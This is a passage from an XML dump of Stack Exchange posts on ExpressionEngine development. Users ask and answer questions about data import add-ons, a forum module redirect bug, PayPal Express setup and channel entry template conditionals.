  <row Id="821" PostTypeId="2" ParentId="820" CreationDate="2012-11-29T23:14:18.947" Score="2" Body="&lt;p&gt;DataGrab does indeed have support for importing data into Store but I have not used it before so I am not to sure exactly what its limitations might be in terms of more complex entry data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are wanting to sync data on a regular basis you would probably be better off with an extension leveraging the &lt;a href=&quot;https://exp-resso.com/docs/store/developers/extension_hooks.html#store-order-complete-end&quot; rel=&quot;nofollow&quot;&gt;store_order_complete_end&lt;/a&gt; and &lt;a href=&quot;https://exp-resso.com/docs/store/developers/extension_hooks.html#store-inventory-datatable&quot; rel=&quot;nofollow&quot;&gt;store_inventory_datatable&lt;/a&gt; extension hooks to sync the data between the 2 systems.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-29T23:14:18.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="822" PostTypeId="1" AcceptedAnswerId="837" CreationDate="2012-11-29T23:34:17.213" Score="2" ViewCount="181" Body="&lt;p&gt;I'm using the EE Discussion module (3.1.8) under EE 2.5.2 and when I submit certain forms, say from the 'Ignore' template for example, the form submits and processes fine, but the returned page shows this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;The following errors were encountered You are not authorized to perform this action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form posts to this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.macobserver.com/tmo/forums/do_ignore_member/47211/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is almost NO documentation for the Discussion Forum module so I'm not sure even what controls the form or the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ignore form template code I'm using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{form_declaration}&#xA;&amp;lt;div class=&quot;fm-header-wrapper&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{lang:ignore_member_confirmation}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;fm-message&quot;&amp;gt;&#xA;    {if member_is_ignored}&#xA;        &amp;lt;p class=&quot;fm-notice&quot;&amp;gt;{lang:already_ignored}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if member_not_ignored}&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;fm-ignore-member&quot;&amp;gt;&#xA;                {lang:ignore_member}: &amp;lt;strong&amp;gt;{name}&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type='radio' name='action' value='ignore' checked=&quot;checked&quot; id=&quot;fm-ignore-member&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    {if member_is_ignored}&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;fm-unignore-member&quot;&amp;gt;&#xA;                {lang:unignore_member}: &amp;lt;strong&amp;gt;{name}&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type='radio' name='action' value='unignore' checked=&quot;checked&quot; id=&quot;fm-unignore-member&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;p class=&quot;fm-submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;submit&quot; value=&quot;{lang:submit}&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I did some more digging on this and it seems that what is adding the duplicate info to the redirected URL is some lines in the /system/expressionengine/modules/forum/mod.forum_core.php code. Specifically in the 'do_ignore_member' function at line 8481&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = str_replace('/'.$this-&amp;gt;trigger, '', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[2]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $this-&gt;EE-&gt;session-&gt;tracker[2] variable is used on the next line and passed to the redirect call using a $this-&gt;forum_path($return); call. The forum_path method checks for the site basepath and then adds the URI value if one is passed in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Compiles a path string&#xA; */&#xA;public function forum_path($uri = '')&#xA;{&#xA;    if ($this-&amp;gt;basepath == '')&#xA;    {&#xA;        $this-&amp;gt;_forum_set_basepath();&#xA;    }&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;remove_double_slashes($this-&amp;gt;basepath.$uri.'/');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #2&lt;/strong&gt;&#xA;So from my testing I think what is going on here is that the 'needle' value on the str_replace() is incorrect. EE adds a beginning slash '/' to the trigger word and then searches the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[2]&lt;/code&gt; value for that value and removes it. The trouble is, at least from what I can see, is that the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[2]&lt;/code&gt; value does NOT have a leading '/' so no match is found. I think the fix would be to change the line 8481 in the /system/expressionengine/modules/forum/mod.forum_core.php file from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = str_replace('/'.$this-&amp;gt;trigger, '', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[2]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = str_replace($this-&amp;gt;trigger, '', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[2]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to fix the trouble for me, but I ask. Is this a truly a bug that needs this fix or am I just missing another configuration setting someplace?&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2012-11-30T20:23:41.107" LastActivityDate="2012-11-30T20:23:41.107" Title="Some Form submits from Discussion Module always return generic error message (Updated)" Tags="|add-on|error|module|messages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostTypeId="2" ParentId="820" CreationDate="2012-11-29T23:51:10.077" Score="5" Body="&lt;p&gt;Andrew Weaver extended DataGrab in the forums to support this I believe. Have a look at &lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/620/P15/#2096&quot;&gt;his post&lt;/a&gt; for more info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Justin said moving forward you'll need an extension to keep both databases synced. &lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2012-11-29T23:51:10.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostTypeId="1" AcceptedAnswerId="825" CreationDate="2012-11-29T23:56:04.940" Score="2" ViewCount="427" Body="&lt;p&gt;I am trying to set up my paypal account for express checkout. It's asking me for the Third Party Permission username. What do I type in for that?&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="115" LastEditDate="2012-12-02T01:07:36.763" LastActivityDate="2012-12-02T01:07:36.763" Title="Paypal Express Checkout" Tags="|expresso-store|paypal|paypal-express-checkout|payment-gateway|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="825" PostTypeId="2" ParentId="824" CreationDate="2012-11-30T00:06:02.957" Score="1" Body="&lt;p&gt;It sounds like you're in the wrong place in the Paypal settings. There is no &quot;third party permission username&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#paypal-express-checkout&quot; rel=&quot;nofollow&quot;&gt;instructions to set up Paypal Express with Store&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PayPal Express Checkout requires an API Username, Password, and Signature. These are different from your PayPal account details. You can obtain your API details by logging in to your PayPal account, and clicking Profile &gt; My Selling Tools &gt; API Access &gt; Request/View API Credentials &gt; Request API Signature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-30T00:06:02.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="826" PostTypeId="1" AcceptedAnswerId="833" CreationDate="2012-11-30T00:12:32.287" Score="4" ViewCount="629" Body="&lt;p&gt;Edited to be more specific in regards to my other modules/plugins: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site that is basically set up like a printed calendar with an image on top and the content for the month below. The image and content come from two separate channels.&#xA;The main page content is dynamic based on the url, and is working fine. I'm having trouble getting the image channel to display the way I want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My url structure looks like this: events/calendar/date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Structure, Low Events to display the main page content, and Freebie to tell EE to ignore the date segment of the url, so that Low Events plays nice with Structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Images channel is set up so that the url_title of my image entries is the same as the date segment of my page url for the month when i want the image to display. For example, my December 2012 calendar page url is events/calendar/2012-12 and my December image's url title is 2012-12. With this setup, i can use url_title=&quot;{freebie_3}&quot; on my entries tag to display the proper image each month. This also works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;calendar_images&quot; limit=&quot;1&quot; url_title=&quot;{freebie_3}&quot; dynamic=&quot;no&quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that there may be months when I don't have an entry in the images channel, but I still want to display a random image, rather than just leaving it blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it is currently set up, if my freebie_3 segment doesn't match an existing url_title in my images channel, I get no result. Is there some way that I can get EE to display a random entry instead?&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2012-11-30T15:11:37.953" LastActivityDate="2012-11-30T15:11:37.953" Title="If url_title doesn't exist, display random entry" Tags="|channel|entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="827" PostTypeId="2" ParentId="826" CreationDate="2012-11-30T00:23:02.530" Score="1" Body="&lt;p&gt;You should be able to use the &quot;require_entry&quot; parameter (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt;) to see if the url_title is valid.&#xA;Combined with if no results you'd get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_images&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot; require_entry=&quot;yes&quot;}&#xA;content&#xA;{if no_results} alternate content {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-30T00:23:02.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostTypeId="1" AcceptedAnswerId="829" CreationDate="2012-11-30T00:44:22.267" Score="5" ViewCount="2200" Body="&lt;p&gt;I have a CSV that I'd like to import into EE. Looking at &lt;code&gt;exp_channel_fields&lt;/code&gt;, I think I am able to connect them to the appropriate columns in &lt;code&gt;exp_channel_data&lt;/code&gt;. Basically, it seems like the value in &lt;code&gt;exp_channel_fields.field_id&lt;/code&gt; is used to make &lt;code&gt;exp_channel_data.field_id_x&lt;/code&gt; (where x is the &lt;code&gt;field_id&lt;/code&gt; value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is also this &lt;code&gt;field_ft_x&lt;/code&gt; column. What is that for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is doing an import as simple as just putting my data in the appropriate columns in &lt;code&gt;exp_channel_data&lt;/code&gt;? Is there an easier way to do this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-11-30T23:23:40.470" Title="How to import data in EE?" Tags="|channel|database|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="829" PostTypeId="2" ParentId="828" CreationDate="2012-11-30T00:50:30.007" Score="6" Body="&lt;p&gt;Generally the best option is to use &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot;&gt;DataGrab&lt;/a&gt;. It can import from CSV files, as well as XML and other formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;field_ft_x&lt;/code&gt; column stores the field &quot;type&quot;. This is different from the fieldtypes you are probably thinking of though. For example, a &quot;textarea&quot; field has the option to choose which format it's in - things like None, Auto BR, HTML. You can also install new options in the list (and probably have already) such as Markdown.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-30T00:50:30.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostTypeId="2" ParentId="828" CreationDate="2012-11-30T00:52:08.737" Score="3" Body="&lt;p&gt;There are 2 major add-ons for importing csv files (and other filetypes) into EE:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Solspace importer: &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/importer/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Datagrab: &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both work similar, each has its own quirks and extras. A lot depends on properly formatted csv files, and both map to already defined channels/custom fields.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-30T00:52:08.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostTypeId="2" ParentId="828" CreationDate="2012-11-30T00:53:56.080" Score="3" Body="&lt;p&gt;+1 &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; nice &amp;amp; simple.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2012-11-30T00:53:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="832" PostTypeId="2" ParentId="828" CreationDate="2012-11-30T02:22:01.750" Score="10" Body="&lt;p&gt;To add an entry to EE, you need to enter data in a minimum of two places: an entry in &lt;code&gt;exp_channel_titles&lt;/code&gt; and a matching one (by &lt;code&gt;entry_id&lt;/code&gt;) in &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;entry_id&lt;/code&gt; field is not auto-incremented, and so you're best to enter the data in a transaction, in case the (very rare) circumstance happens where the control panel is used to add an entry just as you're importing the data.  Or, you can write a big batch of queries and just start it at an &lt;code&gt;entry_id&lt;/code&gt; you know isn't taken already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, of course, circumstances where you have to add data more places: if it's a new author, if your data uses categories, if it uses matrix data (a common third-part add-on), if it has comments...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each field stores its data in the &lt;code&gt;exp_channel_data&lt;/code&gt; column called &lt;code&gt;field_id_##&lt;/code&gt;, and the matching &lt;code&gt;field_ft_##&lt;/code&gt; column is used to describe how that content should be OUTPUT later by EE. (i.e. &lt;code&gt;field_ft&lt;/code&gt; is not a description of how the data is being stored, just of how it should be displayed. Data is usually stored as unformatted as possible.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each field has a default format, but every instance (entry) of data for any field can be set within EE to output its content in a variety of ways, so that's why that's there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true, you don't need to use the third-party add-ons suggested here for simple data import needs. But the moment your data gets more complicated, they do a wonderful job of navigating that complexity and resolving data conflicts.  Datagrab tends to be updated more often.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Solspace importer: &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot;&gt;http://www.solspace.com/software/detail/importer/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Datagrab: &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-11-30T02:22:01.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="833" PostTypeId="2" ParentId="826" CreationDate="2012-11-30T02:27:23.990" Score="8" Body="&lt;p&gt;This is actually simpler than it seems. For this URL, events/calendar/2012-12 , use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_images&quot; limit=&quot;1&quot; orderby=&quot;random&quot; dynamic=&quot;yes&quot;}&#xA;Content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming there's a template group called events, and a template called calendar, it'll display the entry matching the url_title 2012-12 automatically (ordered randomly, yes, but because it's already selecting just the right one, this doesn't matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there ISN'T a match, it will display a random one from the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control, you'll have to get more complicated, but this will work for what you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps Be careful with that url_title -- you can't have url_titles that are just numbers, so the &quot;-&quot; is very important in this case.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-11-30T02:27:23.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="834" PostTypeId="2" ParentId="815" CreationDate="2012-11-30T02:30:28.220" Score="2" Body="&lt;p&gt;Using &lt;code&gt;{path=contact}&lt;/code&gt; to link to a template in &lt;code&gt;site/contact&lt;/code&gt; is definitely a safe practice.  Is it a &quot;good&quot; practice? There's no real downside to it, so I'd say yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also nothing 'bad' about having multiple template groups (within reason!), so you could also use &lt;code&gt;contact/index&lt;/code&gt; as your template and link to it with &lt;code&gt;{path=contact}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-11-30T02:30:28.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="835" PostTypeId="2" ParentId="790" CreationDate="2012-11-30T02:39:46.287" Score="1" Body="&lt;p&gt;Usually this happens when:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A client has a field that is supposed to contain a URL starting with http:// and they enter data without the http://. so it becomes a relative URL&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There no error checking in the template to ensure that crazy long URLs are avoided.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's actually not that hard to fix.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do a quick look at all the values in the database for that field (or create a quick template that outputs that field for all entries ; add http:// to the entries. (Bonus: Add instructions to that URL collecting field that tells people to remember the http&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this to the /category/post-type template, anywhere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_4 != &quot;&quot;}{redirect=404}{/if}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This says, if there's extra segments on the end of the URL (i.e. you'd never expect a valid segment_4 for that part of the site) then display the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clean up some more of the bad pages with Strict URLs and having require_entry=&quot;yes&quot; set, as another responder says, but the quickest fixes and likely causes are these.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-11-30T02:39:46.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostTypeId="2" ParentId="769" CreationDate="2012-11-30T02:49:43.530" Score="2" Body="&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id=&quot;CURRENT_USER&quot;}&#xA;    &amp;lt;h1&amp;gt;Thank you for your Order:&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Ordered Items:&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title} -- {price}&amp;lt;/h3&amp;gt;&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;            {exp:store:download url=&quot;{download_custom_field}&quot;}&#xA;                Download&#xA;            {/exp:store:download}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would create downloads links for all items purchased in all orders for the currently logged in user.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-30T02:49:43.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostTypeId="2" ParentId="822" CreationDate="2012-11-30T04:44:36.200" Score="1" Body="&lt;p&gt;Try removing 'forums/' from the &quot;forum url&quot; setting... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So '/tmo/forums/' becomes '/tmo/'. You might have to remove the trailing slash as well.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-30T04:44:36.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="838" PostTypeId="2" ParentId="388" CreationDate="2012-11-30T05:05:10.333" Score="2" Body="&lt;p&gt;1Password with a folder for each client.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2012-11-30T05:05:10.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="839" PostTypeId="2" ParentId="820" CreationDate="2012-11-30T09:44:47.893" Score="7" Body="&lt;p&gt;I'm the author of DataGrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support for 3rd party add-ons like Store is largely based on demand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I added basic support for Store because I needed it for one of my own projects, and then it got extended to add most of the extra fields (eg, stock and sale prices) when another developer needed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mention it does not currently support price modifiers, but I'd be happy to try and add support. &lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2012-11-30T09:44:47.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostTypeId="2" ParentId="748" CreationDate="2012-11-30T10:02:35.083" Score="2" Body="&lt;p&gt;I found that even though they don't provide the JS widget any more, they do still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4174893&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/4174893&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-30T10:02:35.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="841" PostTypeId="2" ParentId="206" CreationDate="2012-11-30T10:26:34.830" Score="0" Body="&lt;p&gt;Have you considered using the Pages module? That's another way of looking at it.&lt;/p&gt;&#xA;" OwnerUserId="484" LastActivityDate="2012-11-30T10:26:34.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostTypeId="1" AcceptedAnswerId="845" CreationDate="2012-11-30T11:15:34.687" Score="5" ViewCount="204" Body="&lt;p&gt;I have a conditional which is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%H%i&quot;}' &amp;gt;= '0000' AND '{current_time format=&quot;%H%i&quot;}' &amp;lt;= '1300'}&#xA;    &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#mittagskarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt; &#xA;{if:else}&#xA;    &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works well. But I need an additional function: If there is no entry in the Channel &quot;mittagskarte&quot; show &lt;code&gt;&amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&lt;/code&gt; even if it's between &lt;code&gt;0000&lt;/code&gt; and &lt;code&gt;1300&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I write this? This melts my brain. I tried a few things mostly ending up in a parsing errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conditional is not inside a Channel Tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2012-11-30T12:20:46.243" Title="Conditional meltdown" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="843" PostTypeId="2" ParentId="388" CreationDate="2012-11-30T11:30:05.857" Score="1" Body="&lt;p&gt;A text file kept with the local client folder detailing modules, ftp user/pass, Sql user/pass, logins &amp;amp; any poignant notes. So lo-fi but very effective.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2012-11-30T11:30:05.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="844" PostTypeId="2" ParentId="842" CreationDate="2012-11-30T11:30:20.957" Score="2" Body="&lt;p&gt;Put your channel check outside the time check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudo-code, something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If no entry in channel mittagskarte&#xA;&#xA;    show link to abendkarte&#xA;&#xA;else&#xA;&#xA;    if time is between 0000 and 13000&#xA;        show first link&#xA;    else&#xA;        show second link&#xA;    end time check&#xA;&#xA;end channel check&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you'll need a channel entries tagpair in there in order to test whether there are any entries in mittagskarte&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mittagskarte&quot; dynamic=&quot;off&quot; limit=&quot;1&quot;}&#xA;    {if no_results}&#xA;        &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if '{current_time format=&quot;%H%i&quot;}' &amp;gt;= '0000' AND '{current_time format=&quot;%H%i&quot;}' &amp;lt;= '1300'}&#xA;        &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#mittagskarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt; &#xA;    {if:else}&#xA;        &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&#xA;    {/if}       &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you could probably use a couple of add-ons here if you really wanted to. I'm sure that Croxton's Switchee, or another &quot;advanced conditionals&quot; add on might help and you may even find another that will let you test the entry count in a channel without the tag pair. It should be simple enough write a plugin for that if one doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;As pointed out by Kim, the no_results tag would be better than checking count.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2012-11-30T12:20:46.243" LastActivityDate="2012-11-30T12:20:46.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostTypeId="2" ParentId="842" CreationDate="2012-11-30T11:36:59.850" Score="11" Body="&lt;p&gt;I am not sure if i got it right but couldn't you simply wrap the conditionals in a {exp:channel:entries} tag and use the no_results to display your link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps not the most optimal way but it should get you what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this would do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mittagskarte&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;}&#xA;    {if '{current_time format=&quot;%H%i&quot;}' &amp;gt;= '0000' AND '{current_time format=&quot;%H%i&quot;}' &amp;lt;= '1300'}&#xA;        &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#mittagskarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt; &#xA;    {if:else}&#xA;        &amp;lt;a href=&quot;{path=&quot;speisekarten&quot;}#abendkarte&quot;&amp;gt;{navi_speisekarten}&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;    {if no_results}&#xA;        &amp;lt;a 